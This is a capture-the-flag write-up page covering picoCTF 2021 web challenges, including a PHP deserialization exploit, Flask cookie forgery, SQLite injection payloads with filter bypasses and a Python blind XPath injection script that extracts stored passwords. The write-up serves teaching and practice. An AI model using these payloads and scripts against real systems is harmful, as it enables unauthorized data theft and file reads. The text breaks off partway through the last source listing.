ctfwriteup
  • ✅/home/ret2basic.eth
  • Game Hacking
    • 👑Pwn Adventure 3: Pwnie Island
      • ✅Prep: Speed Hack
      • ✅Prep: Infinite Health and Mana (Offline)
      • ✅Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • ✅Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • ✅Step 1: Setup
      • ✅Step 2: Scan for "Exact Value"
      • ✅Step 3: Scan for "Unknown initial value"
      • ✅Step 4: Scan for float and double
      • ✅Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • 👑Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • 👑Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • ✅Unstoppable
      • ✅Naive Receiver
      • ✅Truster
      • ✅Side Entrance
      • ✅The Rewarder
      • ✅Selfie
      • ✅Compromised
      • ✅Puppet
      • ✅Puppet V2
      • ✅Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • ✅Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • ✅Meta Staking
      • ✅Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • ✅Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • ✅Crystal DAO
      • ✅Liquidatoooor
    • ✅Ethernaut
      • ✅Hello Ethernaut
      • ✅Fallback
      • ✅Fallout
      • ✅Coin Flip
      • ✅Telephone
      • ✅Token
      • ✅Delegation
      • ✅Force
      • ✅Vault
      • ✅King
      • ✅Re-entrancy
      • ✅Elevator
      • ✅Privacy
      • ✅Gatekeeper One
      • ✅Gatekeeper Two
      • ✅Naught Coin
      • ✅Preservation
      • ✅Recovery
      • ✅MagicNumber
      • ✅Alien Codex
      • ✅Denial
      • ✅Shop
      • ✅DEX
      • ✅DEX Two
      • ✅Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • ✅Good Samaritan
      • Gatekeeper Three
      • Switch
    • ✅Flashbots MEV-Share CTF
    • ✅Capture the Ether
      • ✅Lotteries
      • ✅Math
      • ✅Miscellaneous
    • ✅EVM Puzzles
      • ✅Puzzle 1
      • ✅Puzzle 2
      • ✅Puzzle 3
      • ✅Puzzle 4
      • ✅Puzzle 5
      • ✅Puzzle 6
      • ✅Puzzle 7
      • ✅Puzzle 8
      • ✅Puzzle 9
      • ✅Puzzle 10
    • ✅More EVM Puzzles
      • ✅Puzzle 1
      • ✅Puzzle 2
      • ✅Puzzle 3
      • ✅Puzzle 4
      • ✅Puzzle 5
      • ✅Puzzle 6
      • ✅Puzzle 7
      • ✅Puzzle 8
      • ✅Puzzle 9
      • ✅Puzzle 10
    • ✅QuillCTF
      • ✅MetaToken
      • ✅Temporary Variable
      • KeyCraft
      • ✅Lottery
      • ✅Private Club
      • Voting Machine
      • ✅Predictable NFT
      • ✅Invest Pool
      • PseudoRandom
      • ✅Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • ✅Donate
      • ✅WETH-11
      • Panda Token
      • Gate
      • ✅WETH10
      • ✅Pelusa
      • ✅True XOR
      • ✅Collatz Puzzle
      • ✅D31eg4t3
      • ✅Safe NFT
      • ✅VIP Bank
      • ✅Confidential Hash
      • ✅Road Closed
    • ✅unhacked
      • ✅reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • ✅01 - ReturnBool
      • ✅02 - SimpleRevert
      • ✅03 - Return42
      • ✅04 - RevertWithError
      • ✅05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • ✅Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • 🚩embryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • 🚩babysuid
      • Assembly Refresher
        • x86 Assembly
        • 🚩embryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • 🚩babyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • 🚩babyjail
      • Debugging Refresher
        • x86 Assembly
        • 🚩embryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • 🚩babyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • 🚩babymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • 🚩toddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • 🚩babyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • 🚩babyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • 🚩babyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • 🚩babykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • ✅Jarvis OJ Pwn Xman Series
    • ✅Jarvis OJ Crypto RSA Series
    • ✅picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • ✅picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • ✅picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • ✅Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • ✅Linux
        • ✅Safe (Easy)
        • ✅Delivery (Easy)
        • ✅TheNotebook (Medium)
        • ✅Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • ✅Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • ✅TCM Linux Privilege Escalation Course
      • ✅TryHackMe - Simple CTF (Easy)
      • ✅TryHackMe - Vulnversity (Easy)
      • ✅TryHackMe - CMesS (Medium)
      • ✅TryHackMe - UltraTech (Medium)
      • ✅TryHackMe - LazyAdmin (Easy)
      • ✅TryHackMe - Anonymous (Medium)
      • ✅TryHackMe - tomghost (Easy)
      • ✅TryHackMe - ConvertMyVideo (Medium)
      • ✅TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Ancient History (Chrome DevTools)
  • Challenge
  • Solution
  • GET aHEAD (HTTP HEAD Method)
  • Challenge
  • Solution
  • Cookies (Cookie Editor)
  • Challenge
  • Solution
  • Scavenger Hunt (Common Files)
  • Challenge
  • Solution
  • Who are you? (HTTP Request Methods)
  • Challenge
  • Solution
  • Some Assembly Required 1 (WebAssembly)
  • Challenge
  • Solution
  • More Cookies ()
  • Challenge
  • Solution
  • It is My Birthday (PDF MD5 Collision)
  • Challenge
  • Solution
  • Some Assembly Required 2 (WebAssembly)
  • Challenge
  • Solution
  • Super Serial (PHP Deserialization)
  • Challenge
  • Source Code
  • Solution
  • Exploit
  • Most Cookies (Flask Cookie Forgery)
  • Challenge
  • Source Code
  • Solution
  • Some Assembly Required 3 (WebAssembly)
  • Challenge
  • Solution
  • Web Gauntlet 2 (SQLite Injection, WAF Bypass)
  • Challenge
  • Solution
  • Source Code
  • Startup Company (SQLite Injection)
  • Challenge
  • Solution
  • Some Assembly Required 4 (WebAssembly)
  • Challenge
  • Solution
  • X marks the spot (Blind XPATH Injection)
  • Challenge
  • Solution
  • Exploit
  • Web Gauntlet 3 (SQLite Injection Filters)
  • Challenge
  • Solution
  • Source Code
  • Bithug
  • Challenge
  • Solution
  1. Web2 CTF
  2. picoCTF 2021

Web Exploitation

{"authors": ["y4y", "ret2basic"]}

PreviousReverse EngineeringNextForensics

Last updated 3 months ago

Ancient History (Chrome DevTools)

Solved by ret2basic

Challenge

I must have been sleep hacking or something, I don't remember visiting all of these sites... (try a couple different browsers if it's not working right)

Solution

Search for "history" in source code:

GET aHEAD (HTTP HEAD Method)

Solved by ret2basic

Challenge

Solution

Change the HTTP method to HEAD:

Cookies (Cookie Editor)

Solved by ret2basic

Challenge

Solution

Enter "snickerdoodle" in the searching box and now we are redirected to /check:

We are assigned a cookie name=0. Change this cookie to name=1, name=2, and so on. Eventually the flag is shown when name=18:

Scavenger Hunt (Common Files)

Solved by ret2basic

Challenge

Solution

Flag is divided into 5 parts:

  1. View source code.

  2. Examine mycss.css.

  3. Examine /robots.txt.

  4. Examine /.htaccess.

  5. Examine /.DS_Store.

Who are you? (HTTP Request Methods)

Solved by ret2basic

Challenge

Solution

The challenge says:

Step 1

Set User-Agent: PicoBrowser to satisfy the browser requirement:

Step 2

Set Referer: http://mercury.picoctf.net:1270/ to satisfy the same-site requirement:

Step 3

Set Date: Wed, 21 Oct 2018 07:28:00 GMT to satisfy the date requirement:

Step 4

Set DNT: 1 to satisfy the Do-Not-Track requirement:

Step 5

Set X-Forwarded-For: 31.44.224.128 to satisfy the geographic location requirement:

Step 6

Set Accept-Language: en-US,en;q=0.9, sv to satisfy the language requirement:

Some Assembly Required 1 (WebAssembly)

Solved by y4y

Challenge

Solution

View source code:

'use strict';
const _0x402c = ["value", "2wfTpTR", "instantiate", "275341bEPcme", "innerHTML", "1195047NznhZg", "1qfevql", "input", "1699808QuoWhA", "Correct!", "check_flag", "Incorrect!", "./JIFxzHyW8W", "23SMpAuA", "802698XOMSrr", "charCodeAt", "474547vVoGDO", "getElementById", "instance", "copy_char", "43591XxcWUl", "504454llVtzW", "arrayBuffer", "2NIQmVj", "result"];
const _0x4e0e = function(url, whensCollection) {
  /** @type {number} */
  url = url - 470;
  let _0x402c6f = _0x402c[url];
  return _0x402c6f;
};
(function(data, oldPassword) {
  const toMonths = _0x4e0e;
  for (; !![];) {
    try {
      const userPsd = -parseInt(toMonths(491)) + parseInt(toMonths(493)) + -parseInt(toMonths(475)) * -parseInt(toMonths(473)) + -parseInt(toMonths(482)) * -parseInt(toMonths(483)) + -parseInt(toMonths(478)) * parseInt(toMonths(480)) + parseInt(toMonths(472)) * parseInt(toMonths(490)) + -parseInt(toMonths(485));
      if (userPsd === oldPassword) {
        break;
      } else {
        data["push"](data["shift"]());
      }
    } catch (_0x41d31a) {
      data["push"](data["shift"]());
    }
  }
})(_0x402c, 627907);
let exports;
(async() => {
  const findMiddlePosition = _0x4e0e;
  let leftBranch = await fetch(findMiddlePosition(489));
  let rightBranch = await WebAssembly[findMiddlePosition(479)](await leftBranch[findMiddlePosition(474)]());
  let module = rightBranch[findMiddlePosition(470)];
  exports = module["exports"];
})();
/**
 * @return {undefined}
 */
function onButtonPress() {
  const navigatePop = _0x4e0e;
  let params = document["getElementById"](navigatePop(484))[navigatePop(477)];
  for (let i = 0; i < params["length"]; i++) {
    exports[navigatePop(471)](params[navigatePop(492)](i), i);
  }
  exports["copy_char"](0, params["length"]);
  if (exports[navigatePop(487)]() == 1) {
    document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(486);
  } else {
    document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(488);
  }
}
;

Note that there is a part of the URI in the array _0x402c:

Here ./JIFxzHyW8W should be some file located in the root directory. Download this file:

wget http://mercury.picoctf.net:55336/JIFxzHyW8W

It turns out that this file is a WebAssembly binary. The flag can be extracted with strings:

More Cookies ()

Someone, solve it!

Challenge

Solution

Todo!

It is My Birthday (PDF MD5 Collision)

Solved by ret2basic

Challenge

Solution

Once the check is passed, we are given the PHP source code together with the flag:

The source code checks if the uploaded pdfs are different but with the same MD5 hash. This check is not sufficient anymore due to PDF MD5 collision.

Some Assembly Required 2 (WebAssembly)

Solved by ret2basic

Challenge

Solution

'use strict';
const _0x6d8f = ["copy_char", "value", "207aLjBod", "1301420SaUSqf", "233ZRpipt", "2224QffgXU", "check_flag", "408533hsoVYx", "instance", "278338GVFUrH", "Correct!", "549933ZVjkwI", "innerHTML", "charCodeAt", "./aD8SvhyVkb", "result", "977AzKzwq", "Incorrect!", "exports", "length", "getElementById", "1jIrMBu", "input", "615361geljRK"];
const _0x5c00 = function(url, whensCollection) {
  /** @type {number} */
  url = url - 195;
  let _0x6d8fc4 = _0x6d8f[url];
  return _0x6d8fc4;
};
(function(data, oldPassword) {
  const toMonths = _0x5c00;
  for (; !![];) {
    try {
      const userPsd = -parseInt(toMonths(200)) * -parseInt(toMonths(201)) + -parseInt(toMonths(205)) + parseInt(toMonths(207)) + parseInt(toMonths(195)) + -parseInt(toMonths(198)) * parseInt(toMonths(212)) + parseInt(toMonths(203)) + -parseInt(toMonths(217)) * parseInt(toMonths(199));
      if (userPsd === oldPassword) {
        break;
      } else {
        data["push"](data["shift"]());
      }
    } catch (_0x4f8a) {
      data["push"](data["shift"]());
    }
  }
})(_0x6d8f, 310022);
let exports;
(async() => {
  const edgeId = _0x5c00;
  let _0x1adb5f = await fetch(edgeId(210));
  let rpm_traffic = await WebAssembly["instantiate"](await _0x1adb5f["arrayBuffer"]());
  let updatedEdgesById = rpm_traffic[edgeId(204)];
  exports = updatedEdgesById[edgeId(214)];
})();
/**
 * @return {undefined}
 */
function onButtonPress() {
  const navigatePop = _0x5c00;
  let params = document[navigatePop(216)](navigatePop(218))[navigatePop(197)];
  for (let i = 0; i < params["length"]; i++) {
    exports[navigatePop(196)](params[navigatePop(209)](i), i);
  }
  exports["copy_char"](0, params[navigatePop(215)]);
  if (exports[navigatePop(202)]() == 1) {
    document["getElementById"](navigatePop(211))[navigatePop(208)] = navigatePop(206);
  } else {
    document[navigatePop(216)](navigatePop(211))["innerHTML"] = navigatePop(213);
  }
}
;

Find the hidden binary in the array _0x6d8f:

Download it:

wget http://mercury.picoctf.net:61778/aD8SvhyVkb
# Install wabt
$ git clone --recursive https://github.com/WebAssembly/wabt
$ cd wabt
$ apt install cmake
$ make

# Convert wasm binary to text format
$ <wabt_path>/bin/wasm2wat aD8SvhyVkb -o level2.wat

A string that looks like an encrypted flag can be found at the very end of the assembly:

Func 2 is check_flag:

Func 2:

  (func (;2;) (type 2) (result i32)
    (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
    i32.const 0
    local.set 0
    i32.const 1072
    local.set 1
    i32.const 1024
    local.set 2
    local.get 2
    local.get 1
    call 1
    local.set 3
    local.get 3
    local.set 4
    local.get 0
    local.set 5
    local.get 4
    local.get 5
    i32.ne
    local.set 6
    i32.const -1
    local.set 7
    local.get 6
    local.get 7
    i32.xor
    local.set 8
    i32.const 1
    local.set 9
    local.get 8
    local.get 9
    i32.and
    local.set 10
    local.get 10
    return)

Super Serial (PHP Deserialization)

Solved by ret2basic

Challenge

Source Code

Check robots.txt:

Visiting http://mercury.picoctf.net:5428/admin.phps returns "Not Found", but at least we learn that there are .phps files on the server.

A quick note on .php and .phps:

  • When you visit a .php file from the browser, the server "runs" the code behind the sceen and returns you the output.

  • When you visit a .phps file from the browser, the server shows you the actual source code.

Although admin.phps does not exist, we could try visiting index.phps to get the source code of the index page:

index.phps:

<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
    $con = new SQLite3("../users.db");
    $username = $_POST["user"];
    $password = $_POST["pass"];
    $perm_res = new permissions($username, $password);
    if ($perm_res->is_guest() || $perm_res->is_admin()) {
        setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
        header("Location: authentication.php");
        die();
    } else {
        $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
    }
}
?>

It tells us the existence of cookie.php and authentication.php. Grab the source code using the same method:

cookie.phps

<?php
session_start();

class permissions
{
    public $username;
    public $password;

    function __construct($u, $p) {
        $this->username = $u;
        $this->password = $p;
    }

    function __toString() {
        return $u.$p;
    }

    function is_guest() {
        $guest = false;

        $con = new SQLite3("../users.db");
        $username = $this->username;
        $password = $this->password;
        $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
        $stm->bindValue(1, $username, SQLITE3_TEXT);
        $stm->bindValue(2, $password, SQLITE3_TEXT);
        $res = $stm->execute();
        $rest = $res->fetchArray();
        if($rest["username"]) {
            if ($rest["admin"] != 1) {
                $guest = true;
            }
        }
        return $guest;
    }

    function is_admin() {
            $admin = false;

            $con = new SQLite3("../users.db");
            $username = $this->username;
            $password = $this->password;
            $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
            $stm->bindValue(1, $username, SQLITE3_TEXT);
            $stm->bindValue(2, $password, SQLITE3_TEXT);
            $res = $stm->execute();
            $rest = $res->fetchArray();
            if($rest["username"]) {
                    if ($rest["admin"] == 1) {
                            $admin = true;
                    }
            }
            return $admin;
    }
}

if(isset($_COOKIE["login"])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    }
    catch(Error $e){
        die("Deserialization error. ".$perm);
    }
}

?>

authentication.phps

<?php

class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
    $msg = "Welcome admin";
    $log = new access_log("access.log");
    $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
    $msg = "Welcome guest";
}
?>

Solution

The insecure deserialization is triggered by the unserialize() function in cookie.phps:

The idea is to utilize the access_log class in authentication.phps. This class is supposed to read the access log, but we could let it dump the content of ../flag. The payload object is:

base64_encode(serialize(new access_log("../flag")))

Note from y4y

And what made this attack viable is the die("...".$perm); function call, as well as the __toString() method in the class access_log, __toString tells PHP how the object can be interpretered as string. If you take a closer look, the __toString() in access_log class will return the value of read_log function. Since the access_log class does not have is_admin and is_guest method, it will result an error, and then the die function will print a debug message. Otherwise it would not return anything as file_get_contents simply does not output anything.

Exploit

<?php

class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

// require_once("cookie.php");
// if(isset($perm) && $perm->is_admin()){
//     $msg = "Welcome admin";
//     $log = new access_log("access.log");
//     $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
// } else {
//     $msg = "Welcome guest";
// }

echo base64_encode(serialize(new access_log("../flag")))

?>

Most Cookies (Flask Cookie Forgery)

Solved by ret2basic

Challenge

Source Code

from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
    if session.get("very_auth"):
        check = session["very_auth"]
        if check == "blank":
            return render_template("index.html", title=title)
        else:
            return make_response(redirect("/display"))
    else:
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

@app.route("/search", methods=["GET", "POST"])
def search():
    if "name" in request.form and request.form["name"] in cookie_names:
        resp = make_response(redirect("/display"))
        session["very_auth"] = request.form["name"]
        return resp
    else:
        message = "That doesn't appear to be a valid cookie."
        category = "danger"
        flash(message, category)
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

@app.route("/reset")
def reset():
    resp = make_response(redirect("/"))
    session.pop("very_auth", None)
    return resp

@app.route("/display", methods=["GET"])
def flag():
    if session.get("very_auth"):
        check = session["very_auth"]
        if check == "admin":
            resp = make_response(render_template("flag.html", value=flag_value, title=title))
            return resp
        flash("That is a cookie! Not very special though...", "success")
        return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
    else:
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

if __name__ == "__main__":
    app.run()

Solution

To learn about how to forge Flask session cookie, read the following article:

First, let's identify the vulnerability. The secret key used is predictable:

We could simply brute-force all possible secret keys and see if any of them works.

Examine the session cookie:

This cookie evaluates to {'very_auth': 'blank'}, and our objective is forging a cookie that evaluates to {'very_auth': 'admin'}.

Create cookie.txt:

echo "eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFgTEQ.hyDKpdP4JROJn2gHLDoLlaEAI5g" > cookie.txt

Create wordlist.txt:

#!/usr/bin/env python3

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

with open("wordlist.txt", "w") as f:
    for cookie in cookie_names:
        f.write(cookie + "\n")

Use Flask Unsign:

Some Assembly Required 3 (WebAssembly)

Someone, solve it!

Challenge

Solution

Todo!

Web Gauntlet 2 (SQLite Injection, WAF Bypass)

Solved by y4y

Challenge

Solution

Filter: or and true false union like = > < ; -- /* */ admin

In that payload we used /**/ (empty comment) to represent space. Note that this challenge does not filter spaces at all. We could simply delete all /**/:

' || X'61646D696E'%00

The corresponding SQL query becomes:

SELECT username, password FROM users WHERE username='' || X'61646D696E'' AND password='a';

Send the payload as username and password can be anything. Send this POST request with burp. This payload also solves Web Gauntlet 3.

Note from ret2basic

Source Code

<?php
session_start();

if (!isset($_SESSION["winner2"])) {
    $_SESSION["winner2"] = 0;
}
$win = $_SESSION["winner2"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($win === 0) {
    $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
    if ($view) {
        echo "Filters: ".implode(" ", $filter)."<br/>";
    }
} else if ($win === 1) {
    if ($view) {
        highlight_file("filter.php");
    }
    $_SESSION["winner2"] = 0;        // <- Don't refresh!
} else {
    $_SESSION["winner2"] = 0;
}

// picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
?>

Startup Company (SQLite Injection)

Solved by: y4y

Challenge

Solution

Immediately it asks us to login, and notice the Register on the top left corner? Why the hell not? And spoiler, this isn't part of the actual challenge. Upon loggin in, we see some kind of donation page.

I first tried some letters but apparently it's doing some kind of checking. Since I didn't seem to have any credits so I just entered a huge number, and nothing seemed to happen. Then I tried to intercept the request and realized there is a captcha included in this form. Lucky for us, this captcha is custom generated and not by google.

So I tried some basic stuff, like SSTI, Command Injection, and last, SQL Injection. And the last time, the contribute.php returned a database error message.

Then I knew I was onto something, and after checking the hints provided by the organizers, I learned the database is SQLite, so I tried some test query like

'||(sqlite_version())||'

And I knew I definitely didn't donate 3.22.0. The rest is just regular procedure, dump the database and get the flag.

Dump table names:

'||(SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||'

Next, dump column names:

'||(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='startup_users')||'

The last part is then to dump the table and see if flag is in there.

'||(SELECT group_concat(nameuser,wordpass) FROM startup_users LIMIT 1)||'

A bit messy, but you can see find the flag in the text.

Some Assembly Required 4 (WebAssembly)

Solved by ret2basic

Challenge

Solution

X marks the spot (Blind XPATH Injection)

Solved by y4y

Challenge

Solution

According to the prompt, we know it's yet another injection problem. And the hint told us that it has something to do with XPATH. Originally I thought this was to use SQL XPATH Error Injection, but later on I realized it was just simply XPATH Injection (From testing functions and stuff).

I could very well be wrong, but XPATH is some kind of query language for XML. After A LOT of research, I finally found some useful function I can use for the injection. Let's talk about them.

count(node) will return how many child nodes does this particular node have. string-length() will return the length of string, you guessed it. local-name() will return the attribute name of the node. substring() does exactly what you expect it to.

To make thing more clear, let's use an example. Here is a sample XML file.

<login>
    <users>
        <user>
            <name>Alice</name>
            <password>alice01</password>
        </user>
        <user>
            <name>Bob</name>
            <password>bob02</password>
        </user>
    </users>
</login>

And count(login)=1 because there is only one node of login, and count(user)=2 because there are two user nodes. Then local-name(login)=login as you expected.

Then let's talk about the path in XML files. Like in Linux directories, / means root, so if I want to represent the Alice node, I shall use /login/users/user[1]/, the [1] means the position of node. And of course, the wildcard /* means all of the child nodes.

With those knowledge, we can first try to leak the root node. The payload I used was:

name=&pass=' or string-length(local-name(/*))='1

And we can slowly leak the length of root node's name. Then we use the substring() function to dump the name. Rinse and repeat. Eventually we will leak the entire node tree.

I used the exploit below to dump the nodes which mattered. Essentially the structure was like:

<db>
    <poems>
        ...
    </poems>
    <users>
        <user>
            <name>guest</name>
            <pass>guest</pass>
        </user>
        <user>
            <name>bob</name>
            <pass>...</pass>
        </user>
        <user>
            <name>admin</name>
            <pass>FLAG</pass>
        </user>
    </users>
</db>

And if you are curious about the other stuff, try modify the exploit and dump 'em all. It's gonna take forever, I probably should do a binary search, but meh.

Exploit

#!/usr/bin/env python3
import requests
import string

url = 'http://mercury.picoctf.net:53735/'
pool = string.printable


def leak_root(url):
    root_name = ''
    name_length = 0


    while 1:
        data = {
            'name': '',
            'pass': f"' or string-length(local-name(/*))='{name_length}"
        }
        req = requests.post(url, data=data)
        print(f"Now trying name length: {name_length}")
        if 'failure' in req.text:
            name_length += 1
        else:
            break

    print(f"Get root name length: {name_length}")

    for i in range(1, name_length + 1):
        for c in pool:
            data = {
                'name': '',
                'pass': f"' or substring(local-name(/*),{i},1)='{c}"
            }
            req = requests.post(url, data=data)
            print(f"Now trying root name: {root_name + c}")
            if 'right path.' in req.text:
                root_name += c
                break

    print(f"Found root name: {root_name}")


def leak_node(url, root):
    node_number = 0
    nodes = []

    while 1:
        data = {
            'name': '',
            'pass': f"' or count(/{root}/*)='{node_number}"
        }
        req = requests.post(url, data=data)
        print(f"Now trying node number: {node_number}")
        if 'failure' in req.text:
            node_number += 1
        else:
            break

    for n in range(1, node_number + 1):
        name_length = 0
        node_name = ''
        while 1:
            data = {
                'name': '',
                'pass': f"' or string-length(local-name(/{root}/*[{n}]))='{name_length}"
            }
            req = requests.post(url, data=data)
            print(f"Now trying node {n} with name length: {name_length}")
            if 'failure' in req.text:
                name_length += 1
            else:
                break

        print(f"Got node {n} with name length {name_length}")

        for i in range(1, name_length + 1):
            for c in pool:
                data = {
                    'name': '',
                    'pass': f"' or substring(local-name(/{root}/*[{n}]),{i},1)='{c}"
                }
                req = requests.post(url, data=data)
                print(f"Now trying node {n} with name: {node_name + c}")
                if 'right path.' in req.text:
                    node_name += c
                    break
        nodes.append(node_name)

    print(f"Found nodes: {nodes}")


def leak_data(url, node):
    leaked = ''
    data_length = 0
    while 1:
        data = {
            'name': '',
            'pass': f"' or string-length(/{node})='{data_length}"
        }
        req = requests.post(url, data=data)
        print(f"Now trying node {node} with attribute length: {data_length}")
        if 'failure' in req.text:
            data_length += 1
        else:
            break

    for i in range(len(leaked) + 1, data_length + 1):
        for c in pool:
            data = {
                'name': '',
                'pass': f"' or substring(/{node},{i},1)='{c}"
            }
            req = requests.post(url, data=data)
            print(f"({len(leaked)}/{data_length})Now trying node {node} with value: {leaked + c}")
            if 'right path.' in req.text:
                leaked += c
                break

    print(f"Leaked data of node {node} has value of: {leaked}")

# leak_root(url)
# leak_node(url, 'db/users')
# leak_node(url, 'db/users[1]')
# user[3] has username of admin.
# leak_data(url, 'db/users/user[3]/name')
leak_data(url, 'db/users/user[3]/pass')

Web Gauntlet 3 (SQLite Injection Filters)

Solved by y4y

Challenge

Solution

Use the same payload as in Web Gauntlet 2.

Note from ret2basic

adm'||'in'%00 works as well.

Source Code

<?php
session_start();

if (!isset($_SESSION["winner3"])) {
    $_SESSION["winner3"] = 0;
}
$win = $_SESSION["winner3"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($win === 0) {
    $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
    if ($view) {
        echo "Filters: ".implode(" ", $filter)."<br/>";
    }
} else if ($win === 1) {
    if ($view) {
        highlight_file("filter.php");
    }
    $_SESSION["winner3"] = 0;        // <- Don't refresh!
